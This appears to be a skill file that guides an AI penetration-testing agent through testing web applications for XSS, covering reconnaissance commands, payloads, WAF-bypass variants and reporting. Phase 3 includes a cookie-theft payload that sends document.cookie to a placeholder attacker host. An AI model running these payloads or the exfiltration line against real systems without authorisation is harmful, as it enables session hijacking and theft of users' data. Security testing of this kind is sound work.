# Cross-Site Scripting (XSS) Attack Skill

## When to Classify Here
Use this skill when the user requests testing for XSS vulnerabilities, including:
- Reflected XSS in URL parameters, search forms, or error pages
- Stored XSS in comments, profiles, messages, or any persisted user input
- DOM-based XSS in client-side JavaScript
- Testing WAF bypass for XSS filters

Keywords: xss, cross-site scripting, reflected xss, stored xss, dom xss, script injection, html injection

## Workflow

### Phase 1: Reconnaissance (Informational)
1. **Identify reflection points** — Use `query_graph` to find web applications
   and HTTP services. Look for forms, search bars, and URL parameters.
2. **Crawl for input vectors** — Use `kali_shell` to discover pages with parameters:
   ```
   katana -u http://<target> -d 3 -jc -o urls.txt
   grep "=" urls.txt | sort -u > params.txt
   ```
3. **Check Content-Security-Policy** — Inspect HTTP response headers:
   ```
   curl -sI http://<target> | grep -i "content-security-policy\|x-xss-protection"
   ```
4. **Identify technology** — Determine if the app uses a framework with
   auto-escaping (React, Angular, Vue) or renders raw HTML (PHP, JSP, classic ASP).

Once reflection points are identified, **request transition to exploitation phase**.

### Phase 2: Exploitation
1. **Test basic reflection** — Inject a harmless canary to confirm reflection:
   ```
   curl -s "http://<target>/search?q=redamon1337test" | grep "redamon1337test"
   ```
2. **Test HTML injection** — Check if angle brackets are reflected unescaped:
   ```
   curl -s "http://<target>/search?q=<b>test</b>" | grep "<b>test</b>"
   ```
3. **XSS payload testing** — Try progressively complex payloads:
   - Basic: `<script>alert(1)</script>`
   - Event handler: `<img src=x onerror=alert(1)>`
   - SVG: `<svg onload=alert(1)>`
   - Encoded: `%3Cscript%3Ealert(1)%3C/script%3E`
4. **Automated scanning with dalfox** (if available):
   ```
   cat params.txt | dalfox pipe --silence --skip-bav
   ```
5. **Stored XSS** — If the app has form submissions (comments, profile fields):
   - Submit a payload via POST
   - Navigate to the page where input is rendered
   - Verify the payload executes on page load
6. **WAF bypass** — If payloads are blocked, try:
   - Case variation: `<ScRiPt>alert(1)</sCrIpT>`
   - Double encoding: `%253Cscript%253E`
   - Null bytes: `<scr%00ipt>alert(1)</scr%00ipt>`
   - Alternative tags: `<details open ontoggle=alert(1)>`

### Phase 3: Post-Exploitation
1. **Demonstrate impact** — Craft a payload that proves real-world risk:
   - Cookie theft: `<script>new Image().src="http://<attacker>/steal?c="+document.cookie</script>`
   - Session hijacking proof of concept
   - Keylogging demonstration
2. **Test persistence** (stored XSS) — Verify the payload survives page reloads
   and is visible to other users/sessions.
3. **Identify escalation potential** — Check if the XSS can be chained with:
   - CSRF (forging actions as the victim)
   - Privilege escalation (injecting into admin panels)

## Reporting Guidelines
- Vulnerable endpoint, parameter, and HTTP method
- XSS type (reflected, stored, DOM-based)
- Payload that triggers execution
- Context where injection lands (HTML body, attribute, JavaScript, URL)
- WAF or filter bypass technique used (if any)
- Impact assessment (cookie access, session scope, admin reachability)

## Important Notes
- Use `alert(1)` or `console.log()` for proof — do NOT inject payloads that modify or delete data
- For stored XSS, use clearly identifiable test strings so they can be cleaned up
- Check both the raw HTTP response AND the rendered page — some XSS only triggers in-browser
- If the app uses CSP with `nonce` or `strict-dynamic`, note it as a mitigating control
- DOM-based XSS requires inspecting client-side JavaScript — use browser DevTools, not just curl